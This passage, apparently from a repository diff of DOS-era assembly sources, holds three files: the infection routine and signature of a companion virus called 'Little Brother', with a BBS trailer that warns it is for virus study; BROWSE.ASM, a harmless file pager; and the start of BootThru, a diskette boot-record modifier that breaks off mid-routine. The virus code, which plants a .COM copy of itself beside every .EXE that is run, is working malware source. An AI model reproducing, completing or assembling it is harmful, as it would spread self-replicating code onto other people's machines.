||||
pop bx
|
||||
pop dx
|
||||
popf
|
||||
|
||||
jmp dword ptr cs:[oi21] ;call to old int-handler
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
|
||||
;****************************************************************************
|
||||
|
||||
infect: cld
|
||||
|
||||
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
|
||||
mov word ptr cs:[nameptr+2],ds
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
call searchpoint
|
||||
mov si,offset EXE_txt ;is extension 'EXE'?
|
||||
mov cx,3
|
||||
rep cmpsb
|
||||
jnz return
|
||||
|
||||
mov si,offset COM_txt ;change extension to COM
|
||||
call change_ext
|
||||
|
||||
mov ax,3300h ;get ctrl-break flag
|
||||
int 21
|
||||
push dx
|
||||
|
||||
cwd ;clear the flag
|
||||
inc ax
|
||||
push ax
|
||||
int 21
|
||||
|
||||
mov ax,3524h ;get int24 vector
|
||||
int 21
|
||||
push bx
|
||||
push es
|
||||
|
||||
push cs ;set int24 vec to new handler
|
||||
pop ds
|
||||
mov dx,offset ni24
|
||||
mov ah,25h
|
||||
push ax
|
||||
int 21
|
||||
|
||||
lds dx,dword ptr [nameptr] ;create the virus (unique name)
|
||||
xor cx,cx
|
||||
mov ah,5Bh
|
||||
int 21
|
||||
jc return1
|
||||
xchg bx,ax ;save handle
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,FILELEN ;write the virus
|
||||
mov dx,offset begin
|
||||
mov ah,40h
|
||||
int 21
|
||||
cmp ax,cx
|
||||
pushf
|
||||
|
||||
mov ah,3Eh ;close the file
|
||||
int 21
|
||||
|
||||
popf
|
||||
jz return1 ;all bytes written?
|
||||
|
||||
lds dx,dword ptr [nameptr] ;no, delete the virus
|
||||
mov ah,41h
|
||||
int 21
|
||||
|
||||
return1: pop ax ;restore int24 vector
|
||||
pop ds
|
||||
pop dx
|
||||
int 21
|
||||
|
||||
pop ax ;restore ctrl-break flag
|
||||
pop dx
|
||||
int 21
|
||||
|
||||
mov si,offset EXE_txt ;change extension to EXE
|
||||
call change_ext ;execute .EXE program
|
||||
|
||||
return: ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* change the extension of the filename (CS:SI -> ext)
|
||||
;****************************************************************************
|
||||
|
||||
change_ext: call searchpoint
|
||||
push cs
|
||||
pop ds
|
||||
movsw
|
||||
movsw
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* search begin of extension
|
||||
;****************************************************************************
|
||||
|
||||
searchpoint: les di,dword ptr cs:[nameptr]
|
||||
mov ch,0FFh
|
||||
mov al,0
|
||||
repnz scasb
|
||||
sub di,4
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Text and Signature
|
||||
;****************************************************************************
|
||||
|
||||
db 'Little Brother',0
|
||||
|
||||
end:
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
||||
;****************************************************************************;
|
||||
; ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] For All Your H/P/A/V Files [=- ;
|
||||
; -=] SysOp: Peter Venkman [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; ;
|
||||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||||
; ;
|
||||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||||
; Is. Keep This Code in Responsible Hands! ;
|
||||
; ;
|
||||
;****************************************************************************;
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,454 @@
|
||||
; BROWSE.ASM -- Full Screen File Pager
|
||||
; ====================================
|
||||
|
||||
CSEG Segment
|
||||
Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG
|
||||
Org 0080h
|
||||
Parameter Label Byte
|
||||
Org 0100h
|
||||
Entry: Jmp Begin
|
||||
|
||||
; All Data
|
||||
; --------
|
||||
|
||||
db 'ATTR='
|
||||
Attribute db 0 ; Current screen attribute
|
||||
db 'SHIFT='
|
||||
ShiftHoriz db 8 ; Horizontal shift screen default
|
||||
DosVersionFail db 'Requires DOS 2.0 or above$'
|
||||
NoSpaceFail db 'Not enough memory$'
|
||||
FileFail db 'File Not Found$'
|
||||
ScreenFail db 'Unsupported video mode$'
|
||||
Delimiters db 9,' ,;=/' ; Delimiters in parameter
|
||||
FileHandle dw ? ; Use for saving file handle
|
||||
WSMode db 0FFh ; AND value for non-WordStar mode
|
||||
LineLength db ? ; Length of line (from BIOS)
|
||||
NumberLines db 25,0 ; Number of lines (check EGA BIOS)
|
||||
ScreenSize dw ? ; Size of screen in bytes
|
||||
CheckRetrace db 1 ; Flag zero if EGA or MONO used
|
||||
Addr6845 dw ? ; Could use for retrace check
|
||||
ScreenAddr Label DWord ; Address of screen
|
||||
ScreenOff dw 0 ; Higher for non-page 0
|
||||
ScreenSeg dw 0B800h ; Set to B000h for Mono Mode 7
|
||||
ScreenStart dw ? ; Points within buffer
|
||||
EndOfFile dw ? ; Points within buffer
|
||||
FileOffset dw -1, -1 ; Address within file of buffer data
|
||||
HorizOffset dw 0 ; Horizontal offset for display
|
||||
RightMargin dw 0 ; Right margin for offset display
|
||||
Dispatch dw Home, Up, PgUp, Dummy, Left
|
||||
dw Dummy, Right, Dummy, End, Down, PgDn
|
||||
|
||||
; Check DOS Version for 2.0 or above
|
||||
; ----------------------------------
|
||||
|
||||
Begin: Cld ; All string directions forward
|
||||
Mov AH,30h
|
||||
Int 21h ; Get DOS Version Number
|
||||
Cmp AL,2 ; Check for 2.0 or later
|
||||
Jae DOSVerOK
|
||||
Mov DX,Offset DOSVersionFail
|
||||
ErrorExit: Mov AH,9 ; Write error message
|
||||
Int 21h
|
||||
Int 20h
|
||||
|
||||
; Parse Command Line to get File Name and WordStar flag
|
||||
; -----------------------------------------------------
|
||||
|
||||
DOSVerOK: Mov SI,1 + Offset Parameter ; Points to parameter
|
||||
NameSearch: Lodsb ; Get byte
|
||||
Cmp AL,13 ; Check if carriage return
|
||||
Jz NoFileFound ; If so, no file name
|
||||
Mov DI,Offset Delimiters ; String of delimiters
|
||||
Mov CX,5 ; Number of delimiters (no /)
|
||||
Repne Scasb ; See if a match
|
||||
Je NameSearch ; If a delimiter, keep looking
|
||||
Mov DX,SI ; Otherwise found file name
|
||||
Dec DX ; Points to beginning of it
|
||||
EndSearch: Lodsb ; Get next byte
|
||||
Cmp AL,13 ; See if carriage return
|
||||
Je GotFileEnd ; If so, we're all done
|
||||
Mov DI,Offset Delimiters ; String of delimiters
|
||||
Mov CX,6 ; Number (including /)
|
||||
Repne Scasb ; See if a match
|
||||
Jne EndSearch ; If not, still in file name
|
||||
Mov Byte Ptr [SI - 1],0 ; If so, mark end of file name
|
||||
Jcxz GotFlag ; If slash, check for W
|
||||
Jmp EndSearch ; Or continue flag search
|
||||
GotFlag: Lodsb ; Get byte after / flag
|
||||
Or AL,20h ; Uncapitalize
|
||||
Cmp AL,'w' ; See if w for WordStar mode
|
||||
Jnz GotFileEnd ; If not, just ignore it
|
||||
Mov [WSMode],7Fh ; AND value for WordStar
|
||||
|
||||
; Open the File
|
||||
; -------------
|
||||
|
||||
GotFileEnd: Mov Byte Ptr [SI - 1],0 ; Mark end of file name
|
||||
; DX still points to name
|
||||
Mov AX,3D00h ; Open file for reading
|
||||
Int 21h ; by calling DOS
|
||||
Jnc GotTheFile ; If no error, continue
|
||||
NoFileFound: Mov DX,Offset FileFail ; Otherwise print a message
|
||||
Jmp ErrorExit
|
||||
GotTheFile: Mov [FileHandle],AX ; Save the file handle
|
||||
|
||||
; Get Screen Mode Information from BIOS Data Area
|
||||
; -----------------------------------------------
|
||||
|
||||
Push ES ; Save register
|
||||
Sub AX,AX
|
||||
Mov ES,AX ; Set ES to 0 (BIOS Data)
|
||||
Mov AL,ES:[0449h] ; Current Video Mode
|
||||
Cmp AL,3 ; Check if Color Alpha
|
||||
Jbe DisplayOK ; Continue if so
|
||||
Cmp AL,7 ; Check if monochrome display
|
||||
Je Monochrome ; If so, branch
|
||||
Mov DX,Offset ScreenFail ; We can't handle graphics
|
||||
Jmp ErrorExit ; So print an error message
|
||||
Monochrome: Mov [ScreenSeg],0B000h ; Use Monochrome Segment
|
||||
Mov [CheckRetrace],0 ; Don't have to check retrace
|
||||
DisplayOK: Mov AL,ES:[044Ah] ; Number of Columns
|
||||
Mov [LineLength],AL ; Save it
|
||||
Mov AX,ES:[044Eh] ; Offset into screen buffer
|
||||
Mov [ScreenOff],AX ; Save it
|
||||
Mov AX,ES:[0463h] ; Address of 6845 Regsiter
|
||||
Mov [Addr6845],AX ; Save it
|
||||
Push ES
|
||||
Sub DL,DL ; Set Rows to zero first
|
||||
Sub BH,BH
|
||||
Mov AX,1130h ; EGA BIOS: Get Information
|
||||
Int 10h
|
||||
Pop ES
|
||||
Or DL,DL ; Check if DL is still zero
|
||||
Jz NoEGA ; If so, skip rest of stuff
|
||||
Inc DL
|
||||
Mov [NumberLines],DL ; Save Number of Lines
|
||||
Test Byte Ptr ES:[0487h],4 ; Check if must check retrace
|
||||
Jnz NoEGA
|
||||
Mov [CheckRetrace],0 ; EGA says we don't have to
|
||||
NoEGA: Mov BH,ES:[0462h] ; Get Current Page (use later)
|
||||
Pop ES
|
||||
Mov AL,[LineLength] ; Length of each line
|
||||
Mul [NumberLines] ; Total chars on screen
|
||||
Add AX,AX ; Double for attributes
|
||||
Mov [ScreenSize],AX ; And Save it
|
||||
|
||||
; See if enough memory is left
|
||||
; ----------------------------
|
||||
|
||||
Add AX,Offset ScreenHold ; Add ScreenSize to code end
|
||||
Add AX,256 ; Add a little stack room
|
||||
Cmp AX,SP ; Check against stack pointer
|
||||
Jbe GotEnufMemory ; Continue if OK
|
||||
Mov DX,Offset NoSpaceFail ; Otherwise end program
|
||||
Jmp ErrorExit ; with error messae
|
||||
|
||||
; Get Current Screen Attribute
|
||||
; ----------------------------
|
||||
|
||||
GotEnufMemory: Cmp [Attribute],0 ; Check if attribute pre-set
|
||||
Jnz GotAttribute ; If so, move on
|
||||
Mov DL,' ' ; Write out a byte
|
||||
Mov AH,2 ; using DOS
|
||||
Int 21h
|
||||
Mov AL,8 ; Now backspace
|
||||
Mov AH,14 ; using BIOS call
|
||||
Int 10h
|
||||
Mov AH,8 ; Read character & attribute
|
||||
Int 10h ; using BIOS call (BH = pg)
|
||||
Mov [Attribute],AH ; And save attribute
|
||||
|
||||
; Save Current Screen
|
||||
; -------------------
|
||||
|
||||
GotAttribute: Mov DX,Offset Terminate ; Set Ctrl-Break exit
|
||||
Mov AX,2523h ; to terminate that way
|
||||
Int 21h
|
||||
Mov DI,Offset ScreenHold ; Destination of screen
|
||||
Mov CX,[ScreenSize] ; Size of screen
|
||||
Push DS ; Save Source Segment
|
||||
Lds SI,[ScreenAddr] ; Get screen address
|
||||
Rep Movsb ; Move in the bytes
|
||||
Pop DS ; Restore Source Segment
|
||||
|
||||
; Get Keyboard Key and Decide on Action
|
||||
; -------------------------------------
|
||||
|
||||
Call Home ; Read file in
|
||||
Mov [ScreenStart],SI ; Set buffer address
|
||||
KeyLoop: Call UpDateScreen ; Write file to screen
|
||||
GetKey: Mov AH,8 ; Get key
|
||||
Int 21h ; by calling DOS
|
||||
Cmp AL,27 ; Check if ESC
|
||||
Je Terminate ; If so, terminate
|
||||
Cmp AL,0 ; Check if extended
|
||||
Jnz GetKey ; If not, try again
|
||||
Mov AH,8 ; Get extended code
|
||||
Int 21h ; by calling DOS
|
||||
Sub AL,71 ; Subtract Home key value
|
||||
Jb GetKey ; If below that, not valid
|
||||
Cmp AL,(81 - 71) ; Check if above PgDn
|
||||
Ja GetKey ; If so, ignore it
|
||||
Sub AH,AH ; Zero out top byte
|
||||
Add AX,AX ; Double for word access
|
||||
Mov BX,AX ; Offset in dispatch table
|
||||
Mov SI,[ScreenStart] ; Set current buffer pointer
|
||||
Call [Dispatch + BX] ; Do the call
|
||||
Mov [ScreenStart],SI ; Set new buffer pointer
|
||||
Jmp KeyLoop ; And update the screen
|
||||
|
||||
; Terminate -- Restore screen and close file
|
||||
; ------------------------------------------
|
||||
|
||||
Terminate: Mov SI,Offset ScreenHold ; Address of Saved Screen
|
||||
Les DI,[ScreenAddr] ; Address of Display
|
||||
Mov CX,[ScreenSize] ; Number of characters
|
||||
Rep Movsb ; Move them back
|
||||
Mov BX,[FileHandle] ; Get File Handle
|
||||
Mov AH,3Eh ; Close File
|
||||
Int 21h
|
||||
Int 20h ; Terminate
|
||||
|
||||
; Cursor Key Routines -- Home Key
|
||||
; -------------------------------
|
||||
|
||||
Home: Sub BX,BX ; For zeroing out values
|
||||
Mov AX,[FileOffset] ; Check if read in file
|
||||
Or AX,[FileOffset + 2]
|
||||
Mov [FileOffset],BX ; Zero out file address
|
||||
Mov [FileOffset + 2],BX
|
||||
Mov [HorizOffset],BX ; Zero out horizontal offset
|
||||
Mov SI,Offset Buffer ; Reset buffer pointer
|
||||
Jz Dummy ; Skip file read if in already
|
||||
Mov DX,Offset Buffer ; Area to read file in
|
||||
Mov CX,32768 ; Number of bytes to read
|
||||
Call FileRead ; Read in file
|
||||
Dummy: Ret
|
||||
|
||||
; Up and PgUp Keys
|
||||
; ----------------
|
||||
|
||||
Up: Call GetPrevChar ; Get previous char in buffer
|
||||
Jc UpDone ; If none available, finish
|
||||
UpLoop: Call GetPrevChar ; Get previous char again
|
||||
Jc UpDone ; if none, we're done
|
||||
Cmp AL,10 ; Check if line feed
|
||||
Jnz UpLoop ; If not, try again
|
||||
Call GetNextChar ; Get char after line feed
|
||||
UpDone: Ret
|
||||
|
||||
PgUp: Mov CX,Word Ptr [NumberLines] ; Number of lines
|
||||
PgUpLoop: Call Up ; Do UP that many times
|
||||
Loop PgUpLoop
|
||||
Ret
|
||||
|
||||
; Left and Right Keys
|
||||
; -------------------
|
||||
|
||||
Left: Mov [HorizOffset],0 ; Reset Horizontal Offset
|
||||
Ret
|
||||
|
||||
Right: Mov AL,[ShiftHoriz] ; Get places to shift
|
||||
Sub AH,AH
|
||||
Add [HorizOffset],AX ; Move that many right
|
||||
Ret
|
||||
|
||||
; End, Down, and PgDn Keys
|
||||
; ------------------------
|
||||
|
||||
End: Mov BX,SI ; Save buffer pointer
|
||||
Call PgDn ; Go page down
|
||||
Cmp BX,SI ; Check if we did so
|
||||
Jnz End ; If so, do it again
|
||||
Ret
|
||||
|
||||
Down: Call GetNextChar ; Get next character
|
||||
Jc NoMoreDown ; If no more, we're done
|
||||
DownLoop: Call GetNextChar ; Get one again
|
||||
Jc UpLoop ; If no more, find prev LF
|
||||
Cmp AL,10 ; See if line feed
|
||||
Jnz DownLoop ; If not, continue
|
||||
NoMoreDown: Ret
|
||||
|
||||
PgDn: Mov CX,Word Ptr [NumberLines] ; Number of lines
|
||||
PgDnLoop: Call Down ; Do DOWN that many times
|
||||
Loop PgDnLoop
|
||||
Ret
|
||||
|
||||
; Update Screen
|
||||
; -------------
|
||||
|
||||
UpdateScreen: Push ES
|
||||
Mov SI,[ScreenStart] ; Address of data in buffer
|
||||
Les DI,[ScreenAddr] ; Address of display
|
||||
Mov CX,ScreenSize ; Number of bytes in screen
|
||||
Shr CX,1 ; Half for number of chars
|
||||
Mov AL,' ' ; Will blank screen
|
||||
Mov AH,[Attribute] ; With screen attribute
|
||||
Rep Stosw ; Blank it
|
||||
Mov AL,[LineLength] ; Length of display line
|
||||
Sub AH,AH
|
||||
Add AX,[HorizOffset] ; Add Horizontal Offset
|
||||
Mov [RightMargin],AX ; That's right display margin
|
||||
Sub DL,DL ; Line Number
|
||||
LineLoop: Sub BX,BX ; Column Number
|
||||
Mov AL,[LineLength] ; Use Line Length
|
||||
Mul DL ; and Line Number
|
||||
Add AX,AX ; to recalculate
|
||||
Mov DI,AX ; display destination
|
||||
Add DI,[ScreenOff] ; Add beginning address
|
||||
CharLoop: Call GetNextChar ; Get next character
|
||||
Jc EndOfScreen ; If no more, we're done
|
||||
And AL,[WSMode] ; Will be 7Fh for WordStar
|
||||
Cmp AL,13 ; Check for carriage return
|
||||
Je CharLoop ; Do nothing if so
|
||||
Cmp AL,10 ; Check for line feed
|
||||
Je LineFeed ; Do routine if so
|
||||
Cmp AL,9 ; Check for tab
|
||||
Je Tab ; Do routine if so
|
||||
Mov CX,1 ; Just 1 char to display
|
||||
PrintChar: Cmp BX,[HorizOffset] ; See if we can print it
|
||||
Jb NoPrint
|
||||
Cmp BX,[RightMargin] ; See if within margin
|
||||
Jae NoPrint
|
||||
Mov AH,[Attribute] ; Attribute for display
|
||||
Cmp [CheckRetrace],0 ; See if must stop snow
|
||||
Jz WriteIt ; If not, skip retrace wait
|
||||
Push BX
|
||||
Push DX
|
||||
Mov BX,AX ; Save character and attribute
|
||||
Mov DX,[Addr6845] ; Set up I/O address
|
||||
Add DX,6
|
||||
RetraceWait1: In AL,DX ; Check until
|
||||
Shr AL,1 ; vertical retrace
|
||||
Jc RetraceWait1 ; ends
|
||||
Cli ; Clear interrupts
|
||||
RetraceWait2: In AL,DX ; Check until
|
||||
Shr AL,1 ; vertical retrace
|
||||
Jnc RetraceWait2 ; begins
|
||||
Mov AX,BX ; Get back character & attr
|
||||
Stosw ; Write to display
|
||||
Sti ; Enable interrupts again
|
||||
Pop DX
|
||||
Pop BX
|
||||
Jmp Short NoPrint ; Skip around "no snow" write
|
||||
WriteIt: Stosw ; Write without retrace wait
|
||||
NoPrint: Inc BX ; Bump up line counter
|
||||
Loop PrintChar ; Do it CX times
|
||||
Jmp CharLoop ; Then go back to top
|
||||
Tab: Mov AX,BX ; Current column number
|
||||
And AX,07h ; Take lower three bits
|
||||
Mov CX,8
|
||||
Sub CX,AX ; Subtract from 8
|
||||
Mov AL,' ' ; Will print CX blanks
|
||||
Jmp PrintChar
|
||||
LineFeed: Inc DL ; Next line
|
||||
Cmp DL,[NumberLines] ; See if down at bottom
|
||||
Jb LineLoop ; If not, continue
|
||||
EndOfScreen: Pop ES ; All done -- leave
|
||||
Ret
|
||||
|
||||
; Get Next Character from buffer
|
||||
; ------------------------------
|
||||
; (Input is SI pointing to buffer, Returns AL, CY if no more)
|
||||
|
||||
GetNextChar: Cmp SI,[EndOfFile] ; See if at end of file
|
||||
Jae NoMoreNext ; If so, no more chars
|
||||
Cmp SI,Offset BufferEnd ; See if at end of buffer
|
||||
Jb CanGetNext ; If not, just get character
|
||||
Push CX ; Otherwise save registers
|
||||
Push DX
|
||||
Push DI
|
||||
Push ES
|
||||
Push DS ; Set ES to DS
|
||||
Pop ES ; (could be different)
|
||||
Mov SI,Offset BufferMid ; Move 2nd buffer half
|
||||
Mov DI,Offset Buffer ; to 1st buffer half
|
||||
Mov CX,16384
|
||||
Sub [ScreenStart],CX ; New buffer pointer
|
||||
Rep Movsb ; Move them
|
||||
Mov SI,DI ; SI also buffer pointer
|
||||
Add [FileOffset],32768 ; Adjust file addr to read
|
||||
Adc [FileOffset + 2],0
|
||||
Mov DX,Offset BufferMid ; Place to read file
|
||||
Mov CX,16384 ; Number of bytes
|
||||
Call FileRead ; Read the file
|
||||
Sub [FileOffset],16384 ; Now adjust so reflects
|
||||
Sbb [FileOffset + 2],0 ; 1st half of buffer
|
||||
Pop ES ; Get back registers
|
||||
Pop DI
|
||||
Pop DX
|
||||
Pop CX
|
||||
Jmp GetNextChar ; And try again to get char
|
||||
CanGetNext: Lodsb ; Get the character
|
||||
NoMoreNext: Cmc ; So CY set if no more
|
||||
Ret
|
||||
|
||||
; Get Previous Character from buffer
|
||||
; ----------------------------------
|
||||
|
||||
GetPrevChar: Cmp SI,Offset Buffer ; See if at top of buffer
|
||||
Ja CanGetPrev ; If not, just get character
|
||||
Mov AX,[FileOffset] ; See if at top of file
|
||||
Or AX,[FileOffset + 2]
|
||||
Jz AtTopAlready ; If so, can't get anymore
|
||||
Push CX ; Save some registers
|
||||
Push DX
|
||||
Mov SI,Offset Buffer ; Move 1st half of buffer
|
||||
Mov DI,Offset BufferMid ; to 2nd half of buffer
|
||||
Mov CX,16384
|
||||
Add [ScreenStart],CX ; New buffer pointer
|
||||
Rep Movsb ; Do the move
|
||||
Sub [FileOffset],16384 ; Adjust file addr for read
|
||||
Sbb [FileOffset + 2],0
|
||||
Mov DX,Offset Buffer ; Area to read file into
|
||||
Mov CX,16384 ; Number of bytes
|
||||
Call FileRead ; Read the file
|
||||
Pop DX ; Get back registers
|
||||
Pop CX
|
||||
Jmp Short CanGetPrev ; Now get character
|
||||
AtTopAlready: Stc ; CY flag set for no more
|
||||
Ret
|
||||
CanGetPrev: Dec SI ; Move pointer back
|
||||
Mov AL,[SI] ; Get the character
|
||||
Clc ; CY flag reset for success
|
||||
Ret
|
||||
|
||||
; Read CX bytes from the file into DX buffer
|
||||
; ------------------------------------------
|
||||
|
||||
FileRead: Push AX ; Save some registers
|
||||
Push BX
|
||||
Push CX
|
||||
Push DX
|
||||
Mov [EndOfFile],-1 ; Initialize this
|
||||
Mov DX,[FileOffset] ; Get file address to read
|
||||
Mov CX,[FileOffset + 2]
|
||||
Mov BX,[FileHandle] ; Get file Handle
|
||||
Sub AL,AL ; Do LSEEK from beginning
|
||||
Mov AH,42h ; LSEEK call
|
||||
Int 21h
|
||||
Pop DX ; Get back destination
|
||||
Pop CX ; Get back count
|
||||
Mov AH,3Fh ; Read file function call
|
||||
Int 21h
|
||||
Jnc NoReadError ; If no error, continue
|
||||
Sub AX,AX ; Otherwise read zero bytes
|
||||
NoReadError: Cmp AX,CX ; See if 32K has been read
|
||||
Je GotItAll ; If so, we're home free
|
||||
Add AX,DX ; Otherwise add to buffer addr
|
||||
Mov [EndOfFile],AX ; And save as end of file
|
||||
GotItAll: Pop BX
|
||||
Pop AX
|
||||
Ret
|
||||
|
||||
; File Buffer and Screen Hold Areas
|
||||
; ---------------------------------
|
||||
|
||||
Buffer Label Byte ; Area for file reads
|
||||
BufferMid equ Buffer + 16384 ; Halfway through it
|
||||
BufferEnd equ BufferMid + 16384 ; At end of it
|
||||
ScreenHold equ BufferEnd ; Area for holding screen
|
||||
CSEG EndS ; End of segment
|
||||
End Entry ; Denotes entry point
|
||||
|
||||
@@ -0,0 +1,374 @@
|
||||
page ,132
|
||||
title BootThru - v1.05
|
||||
|
||||
;------------------------------------------------------------------------
|
||||
;
|
||||
; BootThru - Copyright (c) Bill Gibson - 1987
|
||||
; Lathrup Village, Mi 48076
|
||||
;
|
||||
; Ver. 1.00 - Initial version (not rlsd) - 01/11/87
|
||||
; 1.01 - revised code structure " - 01/25/87
|
||||
; 1.02 - revised Modify Proc " - 02/01/87
|
||||
; 1.03 - enhanced error message output " - 02/06/87
|
||||
; 1.04 - revised Print Proc released - 02/07/87
|
||||
; 1.05 - fix incompatibility plbm - 02/09/87
|
||||
;
|
||||
;
|
||||
; For Public Domain Use. Not for Sale or Hire.
|
||||
;------------------------------------------------------------------------
|
||||
COMMENT *
|
||||
|
||||
Routine to modify diskette boot record, using drive A: or B:,
|
||||
thus circumventing DOS' non-system disk display error.
|
||||
|
||||
Usage:
|
||||
BT A: -> transfer new boot record to drive A:
|
||||
BT B: -> transfer new boot record to drive B:
|
||||
BT -> starts program, default is drive A:
|
||||
*
|
||||
;------------------------------------------------------------------------
|
||||
code SEGMENT BYTE PUBLIC 'code'
|
||||
ASSUME CS:code,DS:code,SS:code
|
||||
ORG 5Ch ;drive id
|
||||
param1 LABEL BYTE
|
||||
ORG 5Dh ;elim spurrious characters
|
||||
param2 LABEL BYTE
|
||||
|
||||
ORG 100h
|
||||
|
||||
BootThru PROC FAR
|
||||
MOV CS:stk_ptr,SP ;save stack ptr to ensure ret
|
||||
CALL Chk_Ver ;dos 2.0 or greater
|
||||
|
||||
CALL Scan
|
||||
CALL Dwrite
|
||||
JMP SHORT exit
|
||||
error:
|
||||
MOV SP,stk_ptr ;insure proper return
|
||||
CALL Print ;print error messages
|
||||
MOV AL,1 ;set errorlevel to 1
|
||||
exit:
|
||||
MOV AH,4Ch
|
||||
INT 21h
|
||||
|
||||
;------------------------------------------------------------------------
|
||||
; Work Area - constants,equates,messages
|
||||
;------------------------------------------------------------------------
|
||||
drive DB 0
|
||||
stk_ptr DW 0
|
||||
|
||||
blank EQU 020h ;ascii space code
|
||||
cr EQU 0Dh ;carriage return
|
||||
lf EQU 0Ah ;line feed
|
||||
esc EQU 01Bh ;escape char
|
||||
stopper EQU 255 ;end of display line indicator
|
||||
|
||||
logo DB cr,lf,'BootThru - The Diskette Modifier'
|
||||
DB cr,lf,'Version 1.05 - Bill Gibson 1987',cr,lf,stopper
|
||||
|
||||
usage DB cr,lf,'Usage: BT [drive A: or B:]',cr,lf,stopper
|
||||
sorry DB cr,lf,'Wrong PC DOS Version',cr,lf,stopper
|
||||
msg1 DB cr,lf,'Insert diskette in drive A, and press ENTER'
|
||||
DB ' when ready ...',stopper
|
||||
msg2 DB cr,lf,'Insert diskette in drive B, and press ENTER'
|
||||
DB ' when ready ...',stopper
|
||||
msg3 DB cr,lf,'Press ENTER to modify another disk',cr,lf
|
||||
DB 'or ESCape to quit...',stopper
|
||||
msg4 DB cr,lf,cr,lf,'Transferring New Boot Sector',cr,lf,stopper
|
||||
msg5 DB cr,lf,'Transfer Completed',cr,lf,stopper
|
||||
|
||||
msg80h DB cr,lf,cr,lf,'* Error * Drive failed to respond.',cr,lf,cr,lf,stopper
|
||||
msg40h DB cr,lf,cr,lf,'* Error * Seek operation failed.',cr,lf,cr,lf,stopper
|
||||
msg20h DB cr,lf,cr,lf,'* Error * Controller failure.',cr,lf,cr,lf,stopper
|
||||
msg10h DB cr,lf,cr,lf,'* Error * Bad CRC on diskette write.',cr,lf,cr,lf,stopper
|
||||
msg08h DB cr,lf,cr,lf,'* Error * DMA overrun on operation.',cr,lf,cr,lf,stopper
|
||||
msg04h DB cr,lf,cr,lf,'* Error * Requested sector not found.',cr,lf,cr,lf,stopper
|
||||
msg03h DB cr,lf,cr,lf,'* Error * Write protected diskette.',cr,lf,cr,lf,stopper
|
||||
msg02h DB cr,lf,cr,lf,'* Error * Address mark not found.',cr,lf,cr,lf,stopper
|
||||
msggen DB cr,lf,cr,lf,'* Unknown Error *',cr,lf,cr,lf,stopper
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
; Sub-Routines:
|
||||
;--------------------------------------------------------------------------
|
||||
Chk_Ver PROC NEAR
|
||||
MOV AH,30h ;verify DOS 2.0 or later
|
||||
INT 21h
|
||||
CMP AL,2
|
||||
JAE SHORT chk_ok
|
||||
MOV DX,OFFSET sorry
|
||||
JMP error
|
||||
chk_ok:
|
||||
RET
|
||||
Chk_Ver ENDP
|
||||
|
||||
;--------------
|
||||
|
||||
Scan PROC NEAR ;check for any spurrious chars
|
||||
MOV AL,[param2]
|
||||
CMP AL,blank ;anything ?
|
||||
JNZ shlp ;yes, give error msg
|
||||
s1:
|
||||
MOV AL,[param1] ;check for drive parameters
|
||||
OR AL,AL ;anything ?
|
||||
JNZ s2 ;jump and test
|
||||
MOV DX,OFFSET logo ;setup default drive A:
|
||||
CALL Print
|
||||
MOV drive,0
|
||||
MOV DX,OFFSET msg1
|
||||
RET
|
||||
s2:
|
||||
CMP AL,01 ;setup for drive A:
|
||||
JZ SHORT sdrvA
|
||||
CMP AL,02 ;for drive B:
|
||||
JZ SHORT sdrvB
|
||||
shlp:
|
||||
MOV DX,OFFSET usage ;display for invalid drives
|
||||
JMP error
|
||||
sdrvA:
|
||||
MOV DX,OFFSET logo
|
||||
CALL Print
|
||||
MOV drive,0
|
||||
MOV DX,OFFSET msg1
|
||||
RET
|
||||
sdrvB:
|
||||
MOV DX,OFFSET logo
|
||||
CALL Print
|
||||
MOV drive,1
|
||||
MOV DX,OFFSET msg2
|
||||
RET
|
||||
|
||||
Scan ENDP
|
||||
|
||||
;--------------
|
||||
|
||||
Dwrite PROC NEAR ;transfer new disk boot sector
|
||||
|
||||
CALL Print ;get ready
|
||||
d1:
|
||||
MOV AH,8 ;use function 8 in order to detect
|
||||
INT 21h ;ctrl-breaks
|
||||
CMP AL,esc ;ESC & Ctrl-Break aborts process
|
||||
JZ d5
|
||||
CMP AL,cr
|
||||
JNZ d1
|
||||
d2:
|
||||
